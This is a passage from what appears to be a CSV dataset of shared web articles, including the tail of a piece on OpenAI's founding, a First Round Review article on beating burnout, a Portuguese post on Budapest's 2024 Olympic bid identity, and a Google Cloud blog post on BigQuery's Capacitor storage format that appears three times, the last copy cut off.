in the short term. And it may speed progress in the long term as well, provided that it, for altruistic reasons, ""opts for a higher level of openness than would be commercially optimal."" ""It might still be plausible that a philanthropically motivated R&D funder would speed progress more by pursuing open science,"" he says. Like Xerox PARC In early January, Brockman's nine AI researchers met up at his apartment in San Francisco's Mission District. The project was so new that they didn't even have white boards. (Can you imagine?) They bought a few that day and got down to work. Brockman says OpenAI will begin by exploring reinforcement learning, a way for machines to learn tasks by repeating them over and over again and tracking which methods produce the best results. But the other primary goal is what's called unsupervised learning -creating machines that can truly learn on their own, without a human hand to guide them. Today, deep learning is driven by carefully labeled data. If you want to teach a neural network to recognize cat photos, you must feed it a certain number of examples-and these examples must be labeled as cat photos. The learning is supervised by human labelers. But like many others researchers, OpenAI aims to create neural nets that can learn without carefully labeled data. ""If you have really good unsupervised learning, machines would be able to learn from all this knowledge on the Internet-just like humans learn by looking around-or reading books,"" Brockman says. He envisions OpenAI as the modern incarnation of Xerox PARC, the tech research lab that thrived in the 1970s . Just as PARC's largely open and unfettered research gave rise to everything from the graphical user interface to the laser printer to object-oriented programing, Brockman and crew seek to delve even deeper into what we once considered science fiction. PARC was owned by, yes, Xerox, but it fed so many other companies, most notably Apple, because people like Steve Jobs were privy to its research. At OpenAI, Brockman wants to make everyone privy to its research. This month, hoping to push this dynamic as far as it will go, Brockman and company snagged several other notable researchers, including Ian Goodfellow, another former senior researcher on the Google Brain team. ""The thing that was really special about PARC is that they got a bunch of smart people together and let them go where they want,"" Brockman says. ""You want a shared vision, without central control."" Giving up control is the essence of the open source ideal. If enough people apply themselves to a collective goal, the end result will trounce anything you concoct in secret. But if AI becomes as powerful as promised, the equation changes. We'll have to ensure that new AIs adhere to the same egalitarian ideals that led to their creation in the first place. Musk, Altman, and Brockman are placing their faith in the wisdom of the crowd. But if they're right, one day that crowd won't be entirely human.",en
1461765930,CONTENT SHARED,-1449104782233586994,-108842214936804958,-6885189803595744945,,,,HTML,http://firstround.com/review/practical-frameworks-for-beating-burnout/,Practical Frameworks for Beating Burnout,"Roli Saxena joined last year to lead customer success. But in a turn of events all too common at growing startups, her role started to expand - and expand. Today, she's running all of sales, strategic partnerships and operations. Having come up through the ranks at - finally overseeing its largest North American sales division - she was used to having too much on her plate. But even the most seasoned, multitasking executives have their limits. The best ones admit it. ""Every so often, I go through a phase where if I don't manage my focus and my priorities, what needs to happen and what doesn't - and you know, breathing at the same time - I'll get burnt out,"" she says. ""It's unavoidable no matter how good or experienced you are. All you can do is try to prevent it, and build an environment that catches it more of the time."" Now, with over 40 people reporting to her across multiple teams at a startup that has to remain lean and competitive, she's gotten serious about keeping burnout at bay. In this exclusive article, she shares the key frameworks that have helped her prioritize, focus and survive during the toughest moments of her career - and suggests how startups can institutionalize them for better, happier performance across the board. TELL-TALE SIGNS To catch burnout before it gets bad, separate it into two components: 1) The factors that lead to it, and 2) The signals that you're heading into it, or are in it already. Number one is very difficult to spot in time. ""Everyone's heard the expression 'death by a thousand cuts,' well, that's what burnout is like too,"" says Saxena. ""It's usually the result of many little things you think you can handle and then all of a sudden it hits you."" In most cases, you need to identify causes retroactively and learn from that. Number two, it turns out, is much easier to identify if you're primed to look for these common signals: ""It's not just having too much to do, it's having committed to doing more than you know you have time for. It's committing to things you know at the time you won't be able to get to, but another voice in your head says, 'I'll make it work somehow.'"" ""I stop laughing, smiling and enjoying humor,"" Saxena says. ""Someone will say something really funny, but I just can't. I can't respond. I feel like a lot of people know this feeling."" ""Different people manifest burnout in different ways, but I think for all of us, it's some variety of a shutdown,"" she says. Parts of your personality start to contract. Your range of expression shrinks. Your world view narrows. ""Burnout is deadly to startups because it kills perspective."" Burnout is not just thinking, 'I'm too tired...' It's the inability to think creatively. In a way it's ironic that this problem plagues Type-A players the most. The people who want to do their best and accomplish the most end up limiting themselves unintentionally. In startup culture, this usually manifests in people trying to have peak performance at work while also going to all the social events and being great to their families at the same time. Then they're hard on themselves for not getting perfect marks in every category. As soon as they meet their own bar, they raise it. But there's a second, even more invisible cause of burnout: The lack of inclusive environments in tech. This isn't solely about gender or race or even socio-economic background. It's about your personality and work style and how you operate professionally. Everyone is different in these ways, but tech companies - and startups in particular - tend to demand a specific style. Think of the talented introvert in a workplace where you have to fight to get heard. Maybe you're a night owl, but the hours required are designed for morning people. Perhaps your work requires dedicated, quiet, constant focus but most of your co-workers listen to pop music and take loud phone calls all day. ""Most organizations haven't evolved to create an environment that embraces the diversity of their people,"" says Saxena. ""Which places an additional burden - or you can even think of it as a tax - on the folks who have to strive to fit in with the prevailing culture. They basically have to be someone they're not at work, and that's exhausting."" She remembers how, at LinkedIn, the same people contributed ideas in every meeting while others remained silent. These people were already working hard, and were definitely smart enough to be there, but they didn't have the ability to speak up all the time. The more stressed out they got about this, the less they participated. ""This problem gets amped up at startups because things move so fast and there's so much urgency. People and their special skills get missed,"" she says. Recently, she's been stopping discussions where certain folks have stayed mum to say, ""Let me hear from you. It's important that we get your perspective on this."" Whenever her direct reports offer up great ideas in their one-on-ones, she makes note of it, and does her best to elicit those ideas in more public forums. Making sure people can safely and comfortably make an impact will counteract burnout. Remember, the stakes involved in this aren't low. ""There's a huge talent challenge for startups right now,"" says Saxena. ""All the companies want the same people, including Google, Microsoft, Facebook. They can pay twice or three times as much. So it's war."" When you can't compete with money, the intangibles become that much more important. Being able to present and provide a workplace that tales employee sanity and psychological safety into account is a considerable advantage. ""We have to not only find the right talent and retain them, but also keep them engaged! This is really hard and burnout is the enermy of all three of those things,"" she says. ""You want everyone to stay for a long time because retaining talent is so much cheaper than hiring new people. This is an area where most startups mess up, but have the opportunity not to."" TRIGGERS & PERMISSIONS ""It's a mental exercise, once you're headed into burnout, to beat back those thoughts that you can't possibly take a break, and just repeat to yourself, 'No, I actually can.'"" She says. It requires mental rewiring that can only come from repetitive correction. Once she recognized her triggers, Saxena felt far more confident asking for time to decompress. Early in her career, she never did. ""I still remember this one time very early on at LinkedIn, where I was just keeping up with email like crazy,"" she says. Her team had grown from under 10 to 200 globally in the previous two years. ""I remember seeing our senior vice president - who I was actually really good friends with - walking down the hall toward me, and I actually hid in the bathroom, thinking, 'Holy shit, I haven't looked at email for the last 2 hours, what if he asks me about something and I have no idea?'"" Even then, she didn't realize she was in burnout. All she knew is she couldn't have that conversation. ""Now, reflecting on it, I can't even conceive of what I must have been feeling or how I was living that way. It was just wrong,"" she says. ""I ended up calling one of my mentors from my prior company and telling her evening. She was like, 'Have you even thought about giving yourself the permission to step off the treadmill? Why not take a week off?'"" Saxena's knee-jerk reaction was, ""No! I couldn't possibly! We have too much to do and I'm the only one who can do it!"" Calmly, her mentor suggested that she humor herself and write down all the must-haves that would need to be taken care of before she could take a week off. On the same list, for each item, she was instructed to write down the impact the task would have on the company, and who else could possibly do it in her absence. ""It was the best thing I could have done,"" she says. ""I immediately saw how many things I was doing that had no value to the company, how many things didn't need to be done now, and how many things I could delegate. The hardest thing was all the hiring I needed to be doing, but if that was delayed by two weeks, no one would die. In fact, nothing would happen. The urgency I felt was artificial."" In tech, the urgency often stems from the simple fact that all startups feel like they have to move at a breakneck pace to win. The fact is, if you HAD to be gone for a week, your company would figure it out and everything would probably be okay. So Saxena took her weeklong vacation, and she realized how much she'd been handicapping herself. ""I came back and had brighter ideas. My team was happier because they felt empowered doing the things I never let them do."" YOUR ANTI-BURNOUT TOOLKIT Having emerged from her time at LinkedIn only to take on more at a smaller, scrappier company, Saxena now comes equipped with tools to handle stress. In fact, she just held a workshop with her team to share some of her weapons against feeling overwhelmed. The overarching theme: ""Do fewer things, but do them extremely well."" Two exercises in particular have proved especially valuable. THE PRIORITIZATION MATRIX All of the projects and activities on your plate have value - some impact they are ideally making for the company. This can be seriously quantitative (like active users gained) or softer (more positive sentiment on Twitter, for example). They also all have a likelihood of success. Some will yield easier wins. Others will be hard won. Using this attributes, you can plot all your projects on this two-by-two matrix: This is a framework executives at LinkedIn used all the time, and now, as Saxena puts it, ""Everything in my life revolves around this."" And it's true, she even uses it to help her kids decide which activities they want to participate in (you can't play music and lacrosse and do debate and journalism). She turns to it regularly to decide how to handle various tasks ahead of her. Quadrant 1: Tough important stuff, requiring creative strategic thinking (where you as a leader should spend your time). Quadrant 2: High yield, more straightforward projects. This is your home run quadrant. You can outsource this stuff to your highest performers as stretch goals that will be super empowering when they work out. Quadrant 3: Low value, low likelihood of success. This stuff should get nixed. Maybe it's a meeting you don't need to have, or emails that don't merit a reply, a coffee meeting with someone less relevant to you or the company. When you're busy, it's the first to go. Quadrant 4: Low value, high likelihood of success. These are your housekeeping tasks. Activities in this quadrant might be best delegated or done at the end of the day. ""Let's say we're thinking of launching a new project that would have a really high impact for the business, but we're really early in the process and the positioning will be tough. That belongs in quadrant 1 because it's super valuable but unlikely to succeed in its current form,"" she says. ""Then there's something like our leadership training program for new managers. The value of investing in them is really high, and the likelihood of running a good program is high if we put in the time, so that goes in quadrant 2."" Once Saxena has mapped out all her projects on the matrix, she starts making decisions. She immediately drops and cancels anything that fell into Quadrant 3. Then she moves on to Quadrant 4, surveys her team, looks for steady junior people who would relish the opportunity to learn and help out with more, and assigns them the housekeeping tasks. She'll outsource anything in quadrant two to the highest performers on the team after doing what she can to set them up for success. The important thing is to be available to answer any questions or provide input when necessary, but for the most part, you can let others run the ball on these tasks if you're a team leader. Success will be a hugely positive experience for them. If you have no one to delegate to, then maybe you allocate less time to these items. Then there's quadrant 1 - the really hard stuff that needs to get done to make your business great. Usually it requires a lot of deep thought, collaboration, revision, and problem-solving. If you're a leader, this is where your focus should live. This is where you have more context than anyone else and can have a major impact on the company yourself. ""Anytime you're feeling overwhelmed, just draw it out. It's therapeutic, and will give you a much clearer sense of your options and what's truly important,"" Saxena says. THE COMMUNICATION TEMPLATE After you've completed your matrix assessment, you need to share your decisions with others. There's a systematic way to do this as well that will make sure all expectations are aligned. Create three side-by-side columns: Column 1: Things I should and can be doing. This stuff is important and within your reach. Usually the projects you've identified in quadrant 1 above. Column 2: Things I said I'd do but am not doing. These are the items that have been languishing on your to-do list forever. They're probably a combo of quadrant 2 and 4 - easy home runs and housekeeping that you haven't had a chance to focus on. This is often the root of a lot of stress. Column 3: Things I should not be doing. All the projects in quadrant 3 you want to nix. No matter how efficient you think you are, you probably won't realize you have a few of these until you run an inventory on everything you're doing. Maybe some of the housekeeping from quadrant 4. Each column represents a different form of communication. Everything in column 1, you can tell people, ""Don't worry, I've got this. I'm going to carve out time to focus on it."" Column 2 usually requires an apology of some sort. Maybe it's you telling your boss or direct report, ""I'm sorry, I can't do it."" Embracing the truth here is vital. You have to be open and honest about your capabilities. If your boss still thinks you should handle some of those items, don't just say yes. Treat the conversation as a negotiation, Saxena says. Explain why you haven't gotten to those projects and why you think they should either be cancelled or take a back seat or be passed to someone else. You might not win on all of them, and that's okay. The important thing is having the conversation. Column 3 can be taken care of with a series of simple emails informing the relevant people that a task has been eliminated, or that it's been delegated to a new person who is now the go-to. Even though you're purging these items, you don't want to drop the ball here. They all have to go somewhere, and it's important that everyone is on the same page. ""There are many things I've committed to in my career that, upon evaluation, I just couldn't do,"" says Saxena. ""That means the responsible thing is to keep reevaluating and making it clear when this is the case. Frequent communication is the most honest communication."" THE VIRTUE OF BOUNDARIES To avoid burnout, empower your team to know they can do fewer things as long as they do them really well. Negotiation is a key part of setting boundaries. When you're overwhelmed, you can't be afraid to go to your boss and say, ""Hey, we need to find a tradeoff here."" There shouldn't be any cost to your performance or reputation for doing that if you're being authentic and reasonable. In fact, it should reflect well on you. Startups that want to prevent burnout will create an environment where these discussions are encouraged. ""Early in my career, I didn't think I had any ability to set boundaries on my work. In my mind, I was like, 'Of course I can work 24/7 if they want me to,'"" says Saxena. ""I never set boundaries until I had my first child and then I had to. And I got to see firsthand how I could have been doing it all along with no consequences. It's never hurt me to push back - only helped."" Today, she works from home every Wednesday. It's something she negotiated when her role at Clever was expanded. That day is blocked off entirely, free of calls and meetings. ""It's my day to think about the big things, the things in quadrant 1,"" she says. ""I need that space and break from email and context switching to think through all the angles, to strategize, to project into the future."" Too many people say they have no room to be creative. So they just execute, and that holds companies back. ""When you're a manager, especially, you can fall into this pattern feeling like your time belongs to your team and you should never say no or be unavailable - this is not the case,"" Saxena says. ""What a waste of human capital to not have our leaders contributing creatively. They're the ones who should be building strategic initiatives and need the blank space in their calendars to do it."" LIKE ROCKS AND SAND ""Think about all the things you need to do. The big impactful ones are rocks. Then there's all the constant granular stuff - email's the big one, but also less important meetings, one-off questions, messages on Slack, this list goes on and on. That's sand."" Imagine your day is a jar, says Saxena. If you pour sand into it continuously by responding to inbound inquiries all day, it's going to get filled up fast and there won't be any room for the rocks. You won't feel fulfilled, because your impact is limited. But let's say you commit to focusing time on one or two rocks, and block out the time to do it. If you put a rock in a bucket, you can still pour sand in and it'll flow around it. Emails behave the same way. The most important messages will get responded to and you'll get more important work done. ""You'll be more rigorous abour prioritizing emails and quicker at responding to them, you won't let them bog you down,"" she says. ""You can compromise on sand. You must not compromise on rocks."" Here's a video that goes into even more detail on this thinking: Her philosophy when it comes to email? Embrace your inner laziness. ""I scan through, see what's most important, and make sure to take care of those,"" she says. ""The others maybe don't get done, but that's okay. I don't always have to have an empty inbox. The expectation to always be responding immediately 100% of the time is unrealistic. And honestly, it's probably not the other person's expectations either - it's your own expectations tying you to this."" It comes back to giving yourself permission. You have to make it okay for yourself to close your inbox leaving threads hanging. Maybe even for a few days. To make sure she's not missing anything, Saxena schedules two hours toward the end of the day on Fridays to scoop up and respond any remaining, non-urgent emails so she can start the next week fresh. ""Bill Gates once said he liked hiring smart, lazy people because they know how to solve a problem the fastest way,"" she says. ""You can apply that thinking to yourself. If you let yourself be 'lazy' enough to only focus on what's critical during the week, you'll process what's left over much more efficiently when it's time."" BUILDING A BURNOUT-CONSCIOUS WORKPLACE You can prevent a lot of burnout in your org by hiring people who weather tough times in smart ways. Saxena looks for a certain set of qualities in interviews that indicate resilience, or at least good coping mechanisms. ""I ask questions to really hone in and understand how they prioritize things and how they manage when they feel overwhelmed."" She asks them questions like: Tell me about a time at your last job when there was a huge fire, too much to do, and there were a lot of demands on your time. How did you feel? Really, what was your emotional state? Have you ever had to drop a project? How did that conversation go? Let's role play a conversation you had with your manager when you were feeling burnt out. Sometimes she'll describe a stressful scenario with a lot of moving parts and have the person walk through the order they'd tackle things in and why and how they'd explain that to their team. In addition to hiring, Clever has leveraged its roadmapping process to keep people trained on their higher-level goals. They use an OKR system that ties everyone's individual objectives to the few vital goals the company has in a given period. This has allowed them to over communicate about what the ""big rocks"" for the company are, and therefore what people's individual big rocks should be. In every one-on-one Saxena has, she listens to what her report has been doing and will review explicitly how their activities roll up into the big company goals. If she doesn't see a close enough connection, she'll ask: ""How does this relate to one of your three big goals?"" This also allows her to underscore that anything else the person might be doing that doesn't fit into these goals is negotiable or even extraneous. Basically, it highlights the fat they can cut if they start to feel stretched too thin. Her other focus has been to create the space and time for her team to really dig into their big rock goals. ""I really want to help them remove waste from their days. I'll even negotiate with the other managers at my level to defend people's time if they're being taken away from their OKRs."" The company has also blocked out the lunch hour for everyone on staff so they won't take meetings. They can enjoy an hour a day knowing they aren't falling behind or slacking off compared to their peers. It gives people permission to take a mental break and maybe even come up with better ideas just through talking casually with their colleagues. This is where leading by example can have sizable impact. If top execs take that lunch hour too, everyone's more likely to do it. Saxena has applied the same logic to working on the weekends. She knew all too well that people would do it no matter what. But by capping her own weekend work time to two hours on Sunday evenings, she's encouraged others to do the same. ""They get to feel like they're working on the weekend, and going above and beyond, but they won't go overboard,"" she says. From 6 to 8 p.m. (before she sits down to dinner), she'll let herself process emails, review her schedule for the upcoming week, and prep anything she needs. But that's it. THE DIVIDENDS Some of the benefits of these practices are obvious: longer-term employee engagement, creativity, happiness etc. But the real advantage is that it's forward thinking. ""There's a strong trend toward a more integrated lifestyle in tech where work never truly ends and life never truly ends."" They co-exist. And when this is the case, balance is essential. ""For a year at LinkedIn, I went down to 4 days a week because I wanted to be there for my son as he was applying to college. Keep in mind I was running a significant part of North American sales - and it worked!"" Saxena says. ""It forced us to be really smart about process. Everyone knew who was responsible for what when I wasn't there and how decisions would get escalated and how to reach me if they really needed to. Life and work flowed around this boundary."" Nothing dropped. ""Communication was more open and clearer than ever before. New people got new opportunities,"" says Saxena. ""When you address your employees' quality of life, their sanity, how they're handling their loads, you learn a whole lot more about how to work better.""",en
1461768016,CONTENT SHARED,-8142426490949346803,-7531858294361854119,-4166942636677495636,,,,HTML,http://www.cutedrop.com.br/2016/04/a-identidade-budapeste-olimpiadas-2024/,A identidade visual de Budapeste para as Olimpíadas de 2024,"27-04-16 Será que na modalidade Design a cidade merece medalha de ouro? Depois das Olimpíadas de 2016 no Rio de Janeiro e de 2020 em Tóquio, algumas cidades já estão na briga pela vaga de sede dos jogos olímpicos e paralímpicos em 2024. Budapeste é uma delas, além de Los Angeles, Paris e Roma. E, para concorrer ao importante título, cada cidade precisa apresentar uma identidade visual completa que inclui, além do material gráfico, um logotipo. Londres, Paris e Roma já apresentaram os seus. E os caminhos são bem próximos, altamente explicativos, com bastante uso de cores e efeitos de volume (imagem via ): Parece que a capital da Hungria, famosa por suas águas termais e pela qualidade de vida dos habitantes, optou por um caminho mais flat , com menos degradês e mais brincadeiras com a desconstrução da forma dos aros olímpicos. A referência aos pontos fortes da cidade também existem, mas o desenvolvimento é mais abstrato, bem icônico. Na defesa feita pelo estúdio Graphasel, a identidade enfatiza a água, elemento marcante na cidade, além da vitalidade (ligada aos esportes) e criatividade do povo húngaro. O estúdio não cita, mas também é visível a referência ao monumento Szabadság Szobor , no ""bonequinho"" de braços abertos destacado no logo. Veja o desenvolvimento do projeto e a aplicação em materiais impressos: E aí? Será que no quesito Design a cidade ganha essa corrida?",pt
1461772567,CONTENT SHARED,4548329563501022787,-1443636648652872475,-8312512943967547407,,,,HTML,https://cloud.google.com/blog/big-data/2016/04/inside-capacitor-bigquerys-next-generation-columnar-storage-format,"Inside Capacitor, BigQuery's next-generation columnar storage format | Google Cloud Big Data Blog","The "" BigQuery under the hood "" blog post gave an overview of different BigQuery subsystems. Today, we'll take a deeper dive into one of them - the storage system. We'll follow data as it's loaded into a BigQuery table.BigQuery supports several input formats - CSV, JSON, Datastore backups, AVRO - and when they're imported, data is converted into our internal representation. BigQuery uses a columnar storage that supports semistructured data - nested and repeated fields. When Google published the Dremel paper in 2010, it explained how this structure is preserved within column store. Every column, in addition to its value, also stores two numbers - definition and repetition levels. This encoding ensures that the full or partial structure of the record can be reconstructed by reading only requested columns, and never requires reading parent columns (which is the case with alternative encodings). That same paper gives an exact algorithm for both encoding the data and reconstructing the record. Example of encoding semistructured data using definition and repetition levels The definition and repetition levels encoding is so efficient for semistructured data that other open source columnar formats, such as Parquet , also adopted this technique. In addition to helping with storing and building structured records, definition and repetition levels can also be used in algorithms for efficient query processing. In 2014, Google published another paper - Storing and Querying tree-structured records in Dremel - which lays theoretical foundation and proves correctness of algorithms for filtering and aggregation operators, which take advantage of the above encoding. Now that we understand how the record structure is implemented, what about the actual values? In the last 10 years, there's been a resurgence of research in column oriented database systems. One of the classic papers in this area - Integrating Compression and Execution in Column-Oriented Database Systems - describes various techniques and encodings, such as Run Length Encoding (RLE), Dictionary encoding, Bit-Vector encoding, Frame of Reference encoding, etc. The paper discusses various tradeoffs and algorithms that can be used with these different encodings. Example of Run Length Encoding (left) and Dictionary Encoding (right). Taken from VLDB 2009 tutorial on Column Oriented Database Systems . Capacitor - the storage format in BigQuery, builds heavily on this research and employs variations and advancements of these techniques. To show one example where Capacitor advances the state of the art, we'll review the problem of reordering of input rows. This is one of the less studied problems in research (see this paper for some background). To illustrate the problem, let's consider the following example of input with 3 columns: If we were to encode these data with RLE, it would not be very optimal, since in every column every value doesn't repeat more than once, so all the run lengths would be 1, and we'll end up with total of 21 runs. However, if the input rows are reshuffled into following: we'll be able to take great advantage of RLE, and will end up with a total of 9 runs. This permutation is the optimal solution for the given input, and it produces better results than lexicographical sort by any combination of columns. Unfortunately, finding the optimal solution is known to be a NP-complete problem in computer science, which means that finding the optimal solution is not practical, even for a modest number of input rows, let alone for millions and billions of rows of typical input to BigQuery. To further complicate matters, we should notice that not all columns are born equal. Some might be very long strings, where shorter RLE runs are more beneficial than longer runs on the small integers column. Finally, we must take into account actual usage: some columns are more likely to be selected in queries than others, and some columns are more likely to be used as filters, for example in WHERE clauses. Capacitor builds an approximation model that takes into account all relevant factors and comes up with a reasonable solution. The runtime of evaluating this model is bound, since we wouldn't want data import to BigQuery to take forever! While every column is being encoded, Capacitor and BigQuery collect various statistics about the data - these statistics are persisted and later are used during query execution - they both feed into query planner to help compiling optimal plans, and into the dynamic runtime to choose most efficient runtime algorithms for required operators. Once all column data is encoded, it's written to Google's distributed file system - Colossus . More decisions must be made at this time, the most important one being how to shard the input data. A shard is a unit of processing at query time. We don't want too few shards, because we would like to take advantage of distributed processing capabilities of BigQuery, processing a table in parallel using potentially thousands of machines - each one reading individual shards. But we also don't want too many shards, because every unit of storage and processing has constant overhead. Future query patterns influence the sharding strategy as well. Queries that will read lots of columns may benefit from smaller shards, but queries that read only few might be better of with larger shards. Again, BigQuery has a model that evaluates all of the different factors, and comes up with an ideal number of shards. When data is sent to Colossus for permanent storage, all of it is encrypted. There are many levels of defense against unauthorized access in Google Cloud Platform , and 100% of data being encrypted at rest is one of them. Colossus is a reliable and fault tolerant file system, leveraging techniques such as Reed Solomon codes to ensure that data is never lost. In addition, immediately upon writing data to Colossus, BigQuery starts the geo-replication process, mirroring all the data into different data centers around the specified jurisdiction, be it US or EU. Having data in multiple data centers enables the highest availability, in case one data center is temporarily unavailable, and also helps query load balancing. For Cloud Platform users, all this encoding, encryption and replication are already included in the price of BigQuery storage! It doesn't end here. BigQuery has background processes that constantly look at all the stored data and check if it can be optimized even further. Perhaps initially data was loaded in small chunks, and without seeing all the data, some decisions were not globally optimal. Or perhaps some parameters of the system have changed, and there are new opportunities for storage restructuring. Or perhaps, Capacitor models got more trained and tuned, and it possible to enhance existing data. Whatever the case might be, when the system detects an opportunity to improve storage, it kickstarts data conversion tasks. These tasks do not compete with queries for resources, they run completely in parallel, and don't degrade query performance. Once the new, optimized storage is complete, it atomically replaces old storage data - without interfering with running queries. Old data will be garbage-collected later. BigQuery performs all this maintenance behind the scenes, and it's completely invisible to you, and free of charge, both money and performance. BigQuery is a true NoOps service - it lets you focus on solving your business problems, and takes care of managing the rest for you!",en
1461772567,CONTENT SHARED,-548495338204268789,-1443636648652872475,-8312512943967547407,,,,HTML,https://cloud.google.com/blog/big-data/2016/04/inside-capacitor-bigquerys-next-generation-columnar-storage-format,"Inside Capacitor, BigQuery's next-generation columnar storage format | Google Cloud Big Data Blog","The "" BigQuery under the hood "" blog post gave an overview of different BigQuery subsystems. Today, we'll take a deeper dive into one of them - the storage system. We'll follow data as it's loaded into a BigQuery table.BigQuery supports several input formats - CSV, JSON, Datastore backups, AVRO - and when they're imported, data is converted into our internal representation. BigQuery uses a columnar storage that supports semistructured data - nested and repeated fields. When Google published the Dremel paper in 2010, it explained how this structure is preserved within column store. Every column, in addition to its value, also stores two numbers - definition and repetition levels. This encoding ensures that the full or partial structure of the record can be reconstructed by reading only requested columns, and never requires reading parent columns (which is the case with alternative encodings). That same paper gives an exact algorithm for both encoding the data and reconstructing the record. Example of encoding semistructured data using definition and repetition levels The definition and repetition levels encoding is so efficient for semistructured data that other open source columnar formats, such as Parquet , also adopted this technique. In addition to helping with storing and building structured records, definition and repetition levels can also be used in algorithms for efficient query processing. In 2014, Google published another paper - Storing and Querying tree-structured records in Dremel - which lays theoretical foundation and proves correctness of algorithms for filtering and aggregation operators, which take advantage of the above encoding. Now that we understand how the record structure is implemented, what about the actual values? In the last 10 years, there's been a resurgence of research in column oriented database systems. One of the classic papers in this area - Integrating Compression and Execution in Column-Oriented Database Systems - describes various techniques and encodings, such as Run Length Encoding (RLE), Dictionary encoding, Bit-Vector encoding, Frame of Reference encoding, etc. The paper discusses various tradeoffs and algorithms that can be used with these different encodings. Example of Run Length Encoding (left) and Dictionary Encoding (right). Taken from VLDB 2009 tutorial on Column Oriented Database Systems . Capacitor - the storage format in BigQuery, builds heavily on this research and employs variations and advancements of these techniques. To show one example where Capacitor advances the state of the art, we'll review the problem of reordering of input rows. This is one of the less studied problems in research (see this paper for some background). To illustrate the problem, let's consider the following example of input with 3 columns: If we were to encode these data with RLE, it would not be very optimal, since in every column every value doesn't repeat more than once, so all the run lengths would be 1, and we'll end up with total of 21 runs. However, if the input rows are reshuffled into following: we'll be able to take great advantage of RLE, and will end up with a total of 9 runs. This permutation is the optimal solution for the given input, and it produces better results than lexicographical sort by any combination of columns. Unfortunately, finding the optimal solution is known to be a NP-complete problem in computer science, which means that finding the optimal solution is not practical, even for a modest number of input rows, let alone for millions and billions of rows of typical input to BigQuery. To further complicate matters, we should notice that not all columns are born equal. Some might be very long strings, where shorter RLE runs are more beneficial than longer runs on the small integers column. Finally, we must take into account actual usage: some columns are more likely to be selected in queries than others, and some columns are more likely to be used as filters, for example in WHERE clauses. Capacitor builds an approximation model that takes into account all relevant factors and comes up with a reasonable solution. The runtime of evaluating this model is bound, since we wouldn't want data import to BigQuery to take forever! While every column is being encoded, Capacitor and BigQuery collect various statistics about the data - these statistics are persisted and later are used during query execution - they both feed into query planner to help compiling optimal plans, and into the dynamic runtime to choose most efficient runtime algorithms for required operators. Once all column data is encoded, it's written to Google's distributed file system - Colossus . More decisions must be made at this time, the most important one being how to shard the input data. A shard is a unit of processing at query time. We don't want too few shards, because we would like to take advantage of distributed processing capabilities of BigQuery, processing a table in parallel using potentially thousands of machines - each one reading individual shards. But we also don't want too many shards, because every unit of storage and processing has constant overhead. Future query patterns influence the sharding strategy as well. Queries that will read lots of columns may benefit from smaller shards, but queries that read only few might be better of with larger shards. Again, BigQuery has a model that evaluates all of the different factors, and comes up with an ideal number of shards. When data is sent to Colossus for permanent storage, all of it is encrypted. There are many levels of defense against unauthorized access in Google Cloud Platform , and 100% of data being encrypted at rest is one of them. Colossus is a reliable and fault tolerant file system, leveraging techniques such as Reed Solomon codes to ensure that data is never lost. In addition, immediately upon writing data to Colossus, BigQuery starts the geo-replication process, mirroring all the data into different data centers around the specified jurisdiction, be it US or EU. Having data in multiple data centers enables the highest availability, in case one data center is temporarily unavailable, and also helps query load balancing. For Cloud Platform users, all this encoding, encryption and replication are already included in the price of BigQuery storage! It doesn't end here. BigQuery has background processes that constantly look at all the stored data and check if it can be optimized even further. Perhaps initially data was loaded in small chunks, and without seeing all the data, some decisions were not globally optimal. Or perhaps some parameters of the system have changed, and there are new opportunities for storage restructuring. Or perhaps, Capacitor models got more trained and tuned, and it possible to enhance existing data. Whatever the case might be, when the system detects an opportunity to improve storage, it kickstarts data conversion tasks. These tasks do not compete with queries for resources, they run completely in parallel, and don't degrade query performance. Once the new, optimized storage is complete, it atomically replaces old storage data - without interfering with running queries. Old data will be garbage-collected later. BigQuery performs all this maintenance behind the scenes, and it's completely invisible to you, and free of charge, both money and performance. BigQuery is a true NoOps service - it lets you focus on solving your business problems, and takes care of managing the rest for you!",en
1461772585,CONTENT SHARED,8497861351486449784,-1443636648652872475,-8312512943967547407,,,,HTML,https://cloud.google.com/blog/big-data/2016/04/inside-capacitor-bigquerys-next-generation-columnar-storage-format,"Inside Capacitor, BigQuery's next-generation columnar storage format | Google Cloud Big Data Blog","The "" BigQuery under the hood "" blog post gave an overview of different BigQuery subsystems. Today, we'll take a deeper dive into one of them - the storage system. We'll follow data as it's loaded into a BigQuery table.BigQuery supports several input formats - CSV, JSON, Datastore backups, AVRO - and when they're imported, data is converted into our internal representation. BigQuery uses a columnar storage that supports semistructured data - nested and repeated fields. When Google published the Dremel paper in 2010, it explained how this structure is preserved within column store. Every column, in addition to its value, also stores two numbers - definition and repetition levels. This encoding ensures that the full or partial structure of the record can be reconstructed by reading only requested columns, and never requires reading parent columns (which is the case with alternative encodings). That same paper gives an exact algorithm for both encoding the data and reconstructing the record. Example of encoding semistructured data using definition and repetition levels The definition and repetition levels encoding is so efficient for semistructured data that other open source columnar formats, such as Parquet , also adopted this technique. In addition to helping with storing and building structured records, definition and repetition levels can also be used in algorithms for efficient query processing. In 2014, Google published another paper - Storing and Querying tree-structured records in Dremel - which lays theoretical foundation and proves correctness of algorithms for filtering and aggregation operators, which take advantage of the above encoding. Now that we understand how the record structure is implemented, what about the actual values? In the last 10 years, there's been a resurgence of research in column oriented database systems. One of the classic papers in this area - Integrating Compression and Execution in Column-Oriented Database Systems - describes various techniques and encodings, such as Run Length Encoding (RLE), Dictionary encoding, Bit-Vector encoding, Frame of Reference encoding, etc. The paper discusses various tradeoffs and algorithms that can be used with these different encodings. Example of Run Length Encoding (left) and Dictionary Encoding (right). Taken from VLDB 2009 tutorial on Column Oriented Database Systems . Capacitor - the storage format in BigQuery, builds heavily on this research and employs variations and advancements of these techniques. To show one example where Capacitor advances the state of the art, we'll review the problem of reordering of input rows. This is one of the less studied problems in research (see this paper for some background). To illustrate the problem, let's consider the following example of input with 3 columns: If we were to encode these data with RLE, it would not be very optimal, since in every column every value doesn't repeat more than once, so all the run lengths would be 1, and we'll end up with total of 21 runs. However, if the input rows are reshuffled into following: we'll be able to take great advantage of RLE, and will end up with a total of 9 runs. This permutation is the optimal solution for the given input, and it produces better results than lexicographical sort by any combination of columns. Unfortunately, finding the optimal solution is known to be a NP-complete problem in computer science, which means that finding the optimal solution is not practical, even for a modest number of input rows, let alone for millions and billions of rows of typical input to BigQuery. To further complicate matters, we should notice that not all columns are born equal. Some might be very long strings, where shorter RLE runs are more beneficial than longer runs on the small integers column. Finally, we must take into account actual usage: some columns are more likely to be selected in queries than others, and some columns are more likely to be used as filters, for example in WHERE clauses. Capacitor builds an approximation model that takes into account all relevant factors and comes up with a 